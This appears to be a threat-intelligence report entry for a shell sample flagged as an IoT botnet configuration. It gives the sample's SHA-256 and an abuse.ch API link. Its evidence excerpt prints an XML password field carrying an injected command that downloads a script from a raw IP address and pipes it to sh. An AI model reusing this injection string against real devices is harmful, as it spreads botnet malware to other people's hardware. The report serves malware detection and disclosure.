Hostile ^100% Download

93c86dbf5402d457b8b82f3c9f1cab911cc1e8e19b8c0c5b4da756cbbed52c49.sh

IoT botnet config with C2

Downloader injected through IoT password fieldIoT password injection downloads and executes shell stage

SHA-25693c86dbf5402d457b8b82f3c9f1cab911cc1e8e19b8c0c5b4da756cbbed52c49

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Wget command injected into XML password lines 6–20

  <AdvenceUserLevel Level="40/40">OFF</AdvenceUserLevel>
  <User1>
      <Username Level="40/40">admin</Username>
      <Password Level="40/40">$(wget http://193.243.147.115/avTECH -O-|sh)</Password>
      <Level Level="40/40">USER</Level>
      <Lifetime Level="40/40">INFINITE</Lifetime>
⋯9 lines